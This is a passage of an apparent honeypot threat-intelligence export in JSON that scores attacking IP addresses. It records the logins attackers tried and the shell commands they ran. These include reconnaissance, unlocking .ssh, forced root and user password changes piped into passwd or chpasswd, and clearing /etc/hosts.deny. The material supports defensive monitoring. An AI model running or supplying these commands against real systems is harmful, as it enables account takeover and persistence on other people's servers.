        "first_seen_30d": "2026-03-07T16:11:48.210000+00:00",
        "last_seen_30d": "2026-03-12T00:08:35.008000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 380,
        "Suricata": 67
      }
    },
    "186.118.219.247": {
      "attack_count": 350,
      "first_seen": "2026-03-21T05:36:02.879Z",
      "last_seen": "2026-03-21T06:07:56.861Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "elk",
        "jupyter",
        "root",
        "water",
        "dockeruser",
        "geoserver",
        "maria",
        "mike",
        "panel",
        "redis",
        "richard",
        "testtest",
        "testuser2",
        "unix",
        "victor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Elk123!",
        "Geoserver123",
        "Richard123",
        "Testtest123",
        "Water",
        "mariapass",
        "mikepass",
        "mima123456",
        "panel@123456",
        "redis@123",
        "testuser2123",
        "unix@123456",
        "victorvictor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nfWMK3g6m8LZp\\nfWMK3g6m8LZp\\n\"|passwd",
        "echo \"Elk123!\\nDA8nVheFzuIE\\nDA8nVheFzuIE\\n\"|passwd",
        "echo \"Water\\nnXmKTCgOB8rW\\nnXmKTCgOB8rW\\n\"|passwd",
        "echo \"root:kq36uKjC7Y6n\"|chpasswd|bash",
        "echo -e \"123456\\nfWMK3g6m8LZp\\nfWMK3g6m8LZp\"|passwd|bash",
        "echo -e \"Elk123!\\nDA8nVheFzuIE\\nDA8nVheFzuIE\"|passwd|bash",
        "echo -e \"Water\\nnXmKTCgOB8rW\\nnXmKTCgOB8rW\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Pereira",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T05:36:02.879000+00:00",
        "last_seen_30d": "2026-03-21T06:09:05.374000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 52
      }
    },
    "27.79.45.243": {
      "attack_count": 342,
      "first_seen": "2026-03-27T16:33:12.087Z",
      "last_seen": "2026-03-27T17:08:12.664Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ace",
        "backup",
        "belkinstyle",
        "carol",
        "client",
        "cpanel",
        "dubai",
        "ftp",
        "guest1",
        "install",
        "jay",
        "joggler",
        "kelly",
        "library",
        "master",
        "mms",
        "newadmin",
        "nginx"
      ],
      "passwords_attempted": [
        "password",
        "12345",
        "P@ssw0rd",
        "abc123",
        "admin123",
        "039715582364317",
        "1111",
        "112233",
        "123456",
        "12345678",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "Deadstar!",
        "abcd1234",
        "ace",
        "admin",
        "admin01",
        "admin1",
        "administrator"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 489,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T16:33:12.087000+00:00",
        "last_seen_30d": "2026-03-27T17:09:15.161000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 342,
        "Suricata": 147
      }
    },
    "212.193.4.223": {
      "attack_count": 331,
      "first_seen": "2026-03-26T23:50:17.684Z",
      "last_seen": "2026-03-27T19:39:06.266Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "09N1RCa1Hs31",
        "45rtfgvb",
        "852963",
        "Ab-1234567890",
        "Admin123321",
        "Administrator2025",
        "Asd147258369",
        "Huawei12#$%",
        "Lorelai2024",
        "Ly123456!",
        "Mm123456.",
        "Oracle@1234",
        "Q!123456",
        "Qa123654789",
        "Qx123456!",
        "R00t1234",
        "abc123de",
        "admin@888"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:8l9PD2f3zu5X\"|chpasswd|bash",
        "echo \"root:9SJ27NtF8Fen\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": null,
      "asn": 199785,
      "as_org": "Cloud Hosting Solutions, Limited.",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 438,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T23:50:17.684000+00:00",
        "last_seen_30d": "2026-03-27T19:40:13.152000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 107
      }
    },
    "51.79.67.116": {
      "attack_count": 330,
      "first_seen": "2026-03-12T08:34:27.022Z",
      "last_seen": "2026-03-12T08:56:17.717Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ks",
        "n8n",
        "personal",
        "root",
        "alumno",
        "cs",
        "mailuser",
        "syncuser",
        "test",
        "user10",
        "vendas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "Ctyun@2026",
        "alumnopass",
        "cs123",
        "ks123",
        "n8n",
        "personal2025",
        "test12345678",
        "user10123",
        "vendas123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ks123\\nUiEATGmsBJyv\\nUiEATGmsBJyv\\n\"|passwd",
        "echo \"n8n\\nzLdy5FNazMUy\\nzLdy5FNazMUy\\n\"|passwd",
        "echo \"personal2025\\nrDtFMuaERg0Q\\nrDtFMuaERg0Q\\n\"|passwd",
        "echo \"root:a1ZzAYfkILtu\"|chpasswd|bash",
        "echo -e \"ks123\\nUiEATGmsBJyv\\nUiEATGmsBJyv\"|passwd|bash",
        "echo -e \"n8n\\nzLdy5FNazMUy\\nzLdy5FNazMUy\"|passwd|bash",
        "echo -e \"personal2025\\nrDtFMuaERg0Q\\nrDtFMuaERg0Q\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 372,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T08:34:27.022000+00:00",
        "last_seen_30d": "2026-03-12T08:57:20.881000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 42
      }
    },
    "101.36.117.187": {
      "attack_count": 326,
      "first_seen": "2026-03-15T16:05:12.528Z",
      "last_seen": "2026-03-15T16:26:28.326Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "pepe",
        "student2",
        "vas",
        "webapp",
        "bitwarden",
        "cs",
        "ftpuser01",
        "informatica",
        "itadmin",
        "kirill"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "Bitwarden123!",
        "Itadmin123",
        "Student2123",
        "informatica123",
        "kirill123!",
        "password",
        "webapp123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\n64HD1NPV9cec\\n64HD1NPV9cec\\n\"|passwd",
        "echo \"1234\\nUDpdCnRUqP5O\\nUDpdCnRUqP5O\\n\"|passwd",
        "echo \"Student2123\\nJnWvYZlFQUjO\\nJnWvYZlFQUjO\\n\"|passwd",
        "echo \"webapp123!\\nPPj4DLp8Alkg\\nPPj4DLp8Alkg\\n\"|passwd",
        "echo -e \"12345\\n64HD1NPV9cec\\n64HD1NPV9cec\"|passwd|bash",
        "echo -e \"1234\\nUDpdCnRUqP5O\\nUDpdCnRUqP5O\"|passwd|bash",
        "echo -e \"Student2123\\nJnWvYZlFQUjO\\nJnWvYZlFQUjO\"|passwd|bash",
        "echo -e \"webapp123!\\nPPj4DLp8Alkg\\nPPj4DLp8Alkg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:05:12.528000+00:00",
        "last_seen_30d": "2026-03-15T16:27:33.194000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 326,
        "Suricata": 40
      }
    },
    "186.122.177.140": {
      "attack_count": 311,
      "first_seen": "2026-03-12T01:05:26.039Z",
      "last_seen": "2026-03-14T09:16:30.251Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "bitrix",
        "foundry",
        "root2",
        "student5",
        "api",
        "boom",
        "hassan",
        "ljd",
        "michele",
        "n8n",
        "oguz",
        "opc",
        "rdpuser",
        "sam",
        "search",
        "viewtinet",
        "zy"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "12345",
        "21ops.com",
        "Bitrix123!",
        "Ljd123!",
        "Opc123",
        "Student5123!",
        "a123123.",
        "foundrypass",
        "hassan123",
        "linux",
        "n8n",
        "root2pass",
        "viewtinet123!",
        "zy123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Bitrix123!\\nb3vgHrowjqaB\\nb3vgHrowjqaB\\n\"|passwd",
        "echo \"Student5123!\\nl4WYTYkFN6Of\\nl4WYTYkFN6Of\\n\"|passwd",
        "echo \"root:facopUcRWW7w\"|chpasswd|bash",
        "echo -e \"Bitrix123!\\nb3vgHrowjqaB\\nb3vgHrowjqaB\"|passwd|bash",
        "echo -e \"Student5123!\\nl4WYTYkFN6Of\\nl4WYTYkFN6Of\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 373,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T01:05:26.039000+00:00",
        "last_seen_30d": "2026-03-14T09:17:33.892000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 311,
        "Suricata": 62
      }
    },
    "213.154.77.61": {
      "attack_count": 282,
      "first_seen": "2026-03-23T23:48:35.983Z",
      "last_seen": "2026-03-26T19:14:46.101Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "pzuser",
        "root",
        "runner",
        "student5",
        "adv",
        "apagar",
        "ftpuser1",
        "kusanagi",
        "mahesh",
        "roman",
        "satisfactory",
        "tian",
        "youssef",
        "yzh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "12345678",
        "Admin123+",
        "Mahesh123",
        "Satisfactory123",
        "Zxcvbnm123",
        "admin",
        "apagarpass",
        "ftpuser1",
        "kusanagi123",
        "password",
        "roman123!",
        "tian123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nigdORBoIQ89l\\nigdORBoIQ89l\\n\"|passwd",
        "echo \"12345\\ng5BDVH6suwxg\\ng5BDVH6suwxg\\n\"|passwd",
        "echo \"admin\\nyB3PjPJjRXPq\\nyB3PjPJjRXPq\\n\"|passwd",
        "echo -e \"123456\\nigdORBoIQ89l\\nigdORBoIQ89l\"|passwd|bash",
        "echo -e \"12345\\ng5BDVH6suwxg\\ng5BDVH6suwxg\"|passwd|bash",
        "echo -e \"admin\\nyB3PjPJjRXPq\\nyB3PjPJjRXPq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": null,
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T23:48:35.983000+00:00",
        "last_seen_30d": "2026-03-26T19:15:52.383000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 50
      }
    },
    "103.93.93.182": {
      "attack_count": 262,
      "first_seen": "2026-03-02T21:52:00.172Z",
      "last_seen": "2026-03-31T18:20:48.054Z",
      "sessions": 131,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 141140,
      "as_org": "PT Jinde Grup Indonesia",
      "threat_score": 63.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.0,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 399,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T21:52:00.172000+00:00",
        "last_seen_30d": "2026-03-31T18:21:53.809000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 137
      }
    },
    "160.251.213.83": {
      "attack_count": 259,
      "first_seen": "2026-03-03T08:12:02.104Z",
      "last_seen": "2026-03-03T08:43:21.025Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "100200300",
        "1234554321",
        "B5m@998Rc*#C",
        "Bingo@1993",
        "Golden123",
        "P@44w0rd",
        "Qwer@2023",
        "Root@12345",
        "Vps2024",
        "qwert1",
        "xsw2!QAZ"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BcjzddOXmhYb\"|chpasswd|bash",
        "echo \"root:NAPPdecGtCfg\"|chpasswd|bash",
        "echo \"root:OpJxGdU0EIbR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:12:02.104000+00:00",
        "last_seen_30d": "2026-03-03T08:44:27.849000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 40
      }
    },
    "45.172.152.74": {
      "attack_count": 257,
      "first_seen": "2026-03-24T04:02:38.890Z",
      "last_seen": "2026-03-24T04:25:21.978Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "amp",
        "tom",
        "xbmc",
        "external",
        "nico",
        "real",
        "zxy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "Aa@123456..",
        "Zxy123!",
        "admin1",
        "amp",
        "external",
        "tom123!",
        "voip123",
        "xbmc123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"amp\\nuMqmLUmbNYrx\\nuMqmLUmbNYrx\\n\"|passwd",
        "echo \"tom123!\\n0JmEAYl9Wgpv\\n0JmEAYl9Wgpv\\n\"|passwd",
        "echo \"xbmc123!\\nk09RczWkcEUF\\nk09RczWkcEUF\\n\"|passwd",
        "echo -e \"amp\\nuMqmLUmbNYrx\\nuMqmLUmbNYrx\"|passwd|bash",
        "echo -e \"tom123!\\n0JmEAYl9Wgpv\\n0JmEAYl9Wgpv\"|passwd|bash",
        "echo -e \"xbmc123!\\nk09RczWkcEUF\\nk09RczWkcEUF\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": null,
      "asn": 27847,
      "as_org": "TECNOLOGIA DIGITAL, S.A. DGTEC",
      "threat_score": 28.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T04:02:38.890000+00:00",
        "last_seen_30d": "2026-03-24T04:27:23.773000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "188.166.248.100": {
      "attack_count": 234,
      "first_seen": "2026-03-02T06:45:10.312Z",
      "last_seen": "2026-03-02T07:20:48.691Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "daemon",
        "debian",
        "backup"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "21",
        "321",
        "P455word",
        "P@$word",
        "Pa$w0rd",
        "Pa$word",
        "Pa55w0rd",
        "Password",
        "admin12",
        "backup12",
        "daemon",
        "daemon1",
        "daemon12"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:45:10.312000+00:00",
        "last_seen_30d": "2026-03-02T07:21:49.735000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 234,
        "Suricata": 102
      }
    },
    "123.204.132.157": {
      "attack_count": 227,
      "first_seen": "2026-03-05T14:28:06.896Z",
      "last_seen": "2026-03-07T06:18:26.703Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "myadmin",
        "345gs5662d34",
        "appuser",
        "beehive",
        "bkp",
        "develop",
        "ems",
        "soporte",
        "user01"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "100",
        "111111@1",
        "1234",
        "12345",
        "159753!@#$",
        "2026Admin@",
        "345gs5662d34",
        "@qaz123456",
        "@root2024",
        "Appuser123",
        "QWE@2025",
        "aa123123aa",
        "asd1234!",
        "beehive123",
        "ems123",
        "l0gin24!",
        "myadmin1234",
        "password",
        "qazwsx26!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
